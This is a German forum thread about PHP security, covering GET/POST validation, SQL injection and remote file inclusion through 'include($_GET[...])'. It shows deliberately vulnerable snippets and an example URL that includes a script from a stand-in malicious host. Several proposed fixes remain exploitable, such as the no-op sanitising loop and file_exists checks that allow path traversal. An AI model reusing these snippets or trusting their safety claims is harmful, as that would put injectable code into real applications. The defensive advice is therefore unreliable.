Sicherheit in PHP Scripten
-
wieso lese ich im Topic etwas über sicherheit und in den antworten ist alles angreifbar?
außer vielleicht das hier
<?php $res = mysql_query("SELECT author, subject, text FROM artikel WHERE ID=42"); ?>
-
Es geht über die Manipulation einer Seite bz. DB über GET und POST und das man GET und POST überprüfen und ggf. entwerten sollte!
Es geht nicht über die Art und Weise wie man den Parameter übergibt oder wie man es in der Datenbank Abfragt... Das allein ist geschmacksache und man kann sich steriten... da hat jeder seinen eigenen Stil.Wenn wir damit weitermachen wollen kann ich auch noch gern mysql_escape_string() in den Raum werfen oder eventuell noch eine kleine XSS-Klasse die alle POSTs und GETs entwertet.
Aber soweit wollte ich nicht gehen *g*
Also bitte nicht über sinn und unsinn der weitergabe reden sonder darüber was sicher und was unsicher ist...
Das mit der UserID war ein Beispiel und dies speziell über ein dynamisches und kein statisches php-script!
Wenn also eine ID über Get übergeben wird, weil der User vielleicht eine Liste mit Benutzernamen vor sich hat und dort einen Benutzer aus der Liste klickt, wird bei jedem Aufruf der Datei http://webserver/find.php die ID übergeben... ich wäre ja nicht grad clever wenn ich es statisch also wie folgt machen würde:<?php $res = mysql_query("SELECT author, subject, text FROM artikel WHERE ID=42"); ?>
Denn dann müsste ich ja für jeden user eine Datei eanlegen:
http://webserver/find_user_id_1.php http://webserver/find_user_id_2.php http://webserver/find_user_id_3.php http://webserver/find_user_id_4.php ....... http://webserver/find_user_id_42.php http://webserver/find_user_id_43.php .......
Da es aber dynamisch sein wird (sonst brauche ich ja keine Parameter über get oder post übergeben) reicht eine Datei
http://webserver/find.php
in der ich des GET/POST üperprüfe.
Ich denke damit sind wir wieder beim Thema:
Sicherheit in PHP Scripten - Speziell: GET und POST
-
-
Ja, man kann natuerlich auch mit Kanonen auf Spatzen schiessen:
function entschaerfen($str) { return mysql_real_escape_string(trim(preg_replace("~[\\/´`'\"]~","",$str))); } /* Alle uebergebenen Parameter entschaerfen */ foreach($_GET as $g) { $g=entschaerfen($g); } /* Auf Nummern pruefen und ID raussuchen */ if(isset($_GET['id']) && is_numeric($_GET['id']) && ($res=mysql_query("select * from t_user where id=".$_GET['id']." limit 1;")!==false) { //... } /* Fuers CMS */ if(isset($_GET['page']) && file_exists($cms_dir.$_GET['page'])) { //... }
Und auch das waere noch erweiterbar. Ich wuesste nicht, wo das noch angreifbar waere, ausser es hackt sich jemand wirklich in den Webserver ein, aber das sichert man ja mit ganz anderen Mitteln ab. Eine Firewall in PHP zu schreiben waere etwa so sinnvoll wie einen Toaster mit Windows 7 auszustatten.
-
@heini
Ja das wäre schon die Crème de la Crème *g* aber ein noob versteht da jetzt sicher nur noch bahnhof
Darum wollte ich ja nicht ganz soweit gehen, sondern RandomAccess85 nur kurz erklären warum es schlimm ist wenn man nicht get und post überprüft...RandomAccess85 schrieb:
Ich weiß ich darf es nicht, aber....
@Nordin: Wer lesen kann... (den Rest wirst du ja kennen)
LG
Öhm... wie meinen?? Ich versteh nicht?!
-
Nordin schrieb:
RandomAccess85 schrieb:
Ich weiß ich darf es nicht, aber....
@Nordin: Wer lesen kann... (den Rest wirst du ja kennen)
LG
Öhm... wie meinen?? Ich versteh nicht?!
Hallo,
es ging mir lediglich um das äußerst anfällige include welches auf Seite 1 dieses Threads besprochen wurde, und ich war der Meinung dass sich deine Aussage auf selbiges bezog. Daher wollte wissen welche Quellen du besitzt, die dir bestätigen dass ein "include($_GET['myVariable']);" häufiger als erwartet verwendet wird...
LG, Micha
-
Daher wollte wissen welche Quellen du besitzt, die dir bestätigen dass ein "include($_GET['myVariable']);" häufiger als erwartet verwendet wird...
Ich bin Macher von: http://ctxtra.org
Dank diesen Projekt kann ich mit abertausenden versuchten GET und POST manipulationen belegen das gut 80% oder mehr aller versuchter Angriffe auf eine Webseite durch die übergabe von GET-Parametern geschieht.
[OffTopic]
Leider liegt das Projekt seit gut einem Jahr auf Eis da ich beruflich sehr viel zu tun habe. Falls es PHP-Experten hier im Forum gibt die sich das Script näher anschauen wollen: Bitte verzeiht mir wie es geschrieben wurde *g* - aber es funktioniert immerhin
Sollte jemand Interesse haben es weiter zu entwickeln oder möchte es jemand betreuen kann er gern bescheid geben.
[OffTopic]
-
google mal nach "sql select" in der URL.
-
Nordin schrieb:
Sollte jemand Interesse haben es weiter zu entwickeln oder möchte es jemand betreuen kann er gern bescheid geben.
Bescheid. Ich wuerde mir gern mal den Quelltext ansehen und schauen, ob ich etwas verbessern / ausbauen kann. Ansonsten wuerde ich mich - sollte mich das Produkt ueberzeugen - mal ans Marketing heranmachen wollen. Dann allerdings gemeinsam, nicht alleine.
-
Ja genau, so findest du ebenfalls aber tausende quellen.
Kannst auch nach "sql injection" googlen.
Oder auch bei wikipedia schauen: http://de.wikipedia.org/wiki/SQL-Injection
-
@heini
Ich freu mich! Wenn du wirklich interesse hast wäre das super!
Kannst du dich bitte dort registrieren. Sag mir bescheid wenn du registriert bist. Ich melde mich dann bei dir per email oder PN. (Hier ist es ja scheinbar nicht möglich.)Wir können uns auch gern über einen Messenger unterhalten. Kann dir mit MSN oder Skype dienen. Ggf. können wir auch mal telefonieren. Mir liegt wirklich sehr viel an diesem Projekt nur leider kann ich es nicht weiter entwikeln weil mir die zeit fehlt
Gruß Nordin
-
Nordin schrieb:
Sag mir bescheid wenn du registriert bist. Ich melde mich dann bei dir per email oder PN.
Bescheid. Pseudonym:
Euclid
-
seq schrieb:
oops hab was vergessen sry.
So sieht der Verwundbare Code aus:
<?php if (isset($_GET['vulnvar'])) { include ($_GET['vulnvar']); } else { echo "kein wert bekommen"; } ?>
Was bewirkt denn dieser Code? (/me = PHP Anfänger)
-
Cpp_Junky schrieb:
seq schrieb:
So sieht der Verwundbare Code aus:
<?php if (isset($_GET['vulnvar'])) { include ($_GET['vulnvar']); } else { echo "kein wert bekommen"; } ?>
Was bewirkt denn dieser Code? (/me = PHP Anfänger)
wenn (existiert die variable vulnvar als übergabe (an die url angehängt))
dann includiere das, was vulnvar mitgebracht hat.schön, da kann man dann alle möglichen seiten einbinden.
-
Hallo,
das die im GET-Parameter 'vulnvar' angegebene Seite in das aktuelle PHP-Script eingebunden wird!
// URL = meineurl.de/index.php?vulnvar=test.php
index.php:
include ($_GET['vulnvar']); // ergibt: echo("Test"); // aus test.php
test.php:
echo("Test");
//Edit: Zu langsam
LG, Micha
-
Hm, es gibt das sogar oft:
http://www.google.de/search?hl=de&q=include+(%24_GET[&meta=
Gleich der erste Link zeigt ein Fallbeispiel bei selfhtml für Navigation... das werden viele Leute kopiert haben.
-
OMG, das ist allerdings wirklich krank
-
Ja das ist ja auch nicht schlimm, nur muss man eben überprüfen ob das übergebene in der URL auch das ist was ich gesendet habe.
Wenn ich
meineurl.de/index.php?vulnvar=test.php
sende, soll das ja auch an komemn damit meine test.php eingebunden wird.
Aber es kann jetzt auch jemand folgendes machen:
meineurl.de/index.php?vulnvar=http://böse-seite.com/böses-script.txt
Schon wird nicht mehr meine test.php eingebunden sondern ein böser schadecode
Darum muss ich prüfen ob "vulnvar" auch das von mir übergebene "test.php" entählt.
(An die spezialisten: wie man jetzt prüft ist erstmal nebensächlich.)
-
Hallo,
php_info() aufrufen und schauen ob allow_url_include auf on gesetzt ist! Sollte dies der Fall sein ist die Sicherheitslücke offen. In dem Fall sollte allow_url_include auf off gesetzt werden => php.ini
Sollte dies aus irgend einem Grund nicht machbar sein, einfach mittels file_exists() prüfen. Soweit ich weiß ist file_exists() Serverübergreifend nicht möglich und gibt somit false zurück...
if (file_exists($_GET['vulnvar'])) include($_GET['vulnvar']); else echo("Error");
LG, Micha
-
RandomAccess85 schrieb:
Hallo,
php_info() aufrufen und schauen ob allow_url_include auf on gesetzt ist! Sollte dies der Fall sein ist die Sicherheitslücke offen. In dem Fall sollte allow_url_include auf off gesetzt werden => php.ini
Sollte dies aus irgend einem Grund nicht machbar sein, einfach mittels file_exists() prüfen. Soweit ich weiß ist file_exists() Serverübergreifend nicht möglich und gibt somit false zurück...
if (file_exists($_GET['vulnvar'])) include($_GET['vulnvar']); else echo("Error");
LG, Micha
Guter Vorschlag, gibt aber ein paar kleine haken:
- aus erfahrung weiß ich das 70% der user nicht an die php.ini rannkommen
- allow_url_inlude() ist erst ab PHP Version 5.2.0 verfügbarIm Falle das der übergebene Parameter eine zu includierende Datei ist, denke ich die meisten sollten es so machen wie du sagst, mittels file_exsist prüfen ob die übergebene datei existiert und gut.